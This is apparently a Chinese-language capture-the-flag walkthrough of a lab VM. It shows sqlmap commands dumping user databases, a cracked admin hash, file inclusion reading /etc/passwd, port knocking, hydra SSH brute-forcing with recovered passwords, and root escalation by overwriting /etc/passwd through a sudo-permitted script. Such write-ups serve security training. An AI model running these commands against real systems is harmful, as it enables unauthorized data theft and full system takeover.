扫描结果如图
nmap
目录扫描
指纹扫描
访问首页
该处发现搜索框,正常搜名字可以直接返回该用户的信息,怀疑sql注入,使用单引号注入,发现没反应,再使用一下万能注入语句1' or 1=1
使用sqlmap
sqlmap -u 'http://10.4.7.152/results.php' --data 'search=1' --dbs --batch
爆出数据库staff和users
爆表
sqlmap -u 'http://10.4.7.152/results.php' --data 'search=1' -D Staff --tables --batch
sqlmap -u 'http://10.4.7.152/results.php' --data 'search=1' -D users --tables --batch
暴列
sqlmap -u 'http://10.4.7.152/results.php' --data 'search=1' -D Staff -T Users --columns --batch
sqlmap -u 'http://10.4.7.152/results.php' --data 'search=1' -D users -T UserDetails --columns --batch
爆数据
sqlmap -u 'http://10.4.7.152/results.php' --data 'search=1' -D Staff -T Users -C Username,Password --dump --batch
sqlmap -u 'http://10.4.7.152/results.php' --data 'search=1' -D users -T UserDetails -C username,password --dump --batch
得到一个admin用户信息以及user库中的用户信息
admin:856f5de590ef37314e7c3bdf6f8a66dc
拿去hash识别器识别一下
使用md5解密最终得到
admin:transorbital1
登录过后发现manage页左下角显示不存在文件
疑似文件包含
反复回到根目录查看passwd文件,发现可以执行
发现大部分用户都是/bin/bash的,尝试找到这些能利用的用户登录
将刚刚爆破的users库中的用户放置在txt文件里当字典
随后尝试爆破,发现ssh连不上
此时即为端口敲门
knocked配置文件在/etc/knockd.conf
得到sequence=7469,8475,9842
向靶机三次敲门
nc 10.4.7.152 7469
nc 10.4.7.152 8475
nc 10.4.7.152 9842
hydra爆出登录信息
hydra -L pojie1.txt -P pojie2.txt ssh://10.4.7.152 -t 50
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
常规探查无效,经过寻找,在janitor的家目录下找到.secrets-for-putin目录
其中有密码文件
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
加入密码字典后重新爆破
发现多了个用户
fredf:B4-Tru3-001
切换该用户
使用sudo -l发现可以免密root身份执行test
查看test会乱码,直接执行试试
提示需要找到test.py
find名字查找一下
find / -name test.py 2>/dev/null
找到位置
/usr/lib/python3/dist-packages/setuptools/command/test.py
使用命令生成一个盐值为admin的md5密码
openssl passwd -1 -salt admin 123456
生成
$1$admin$LClYcRe.ee8dQwgrFc5nz.
将用户信息添加到/tmp/passwd
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' > /tmp/passwd
然后sudo使用符合脚本形式的执行参数
sudo ./test /tmp/passwd /etc/passwd
随后su 到刚刚创建的用户
su admin
123456
完成提权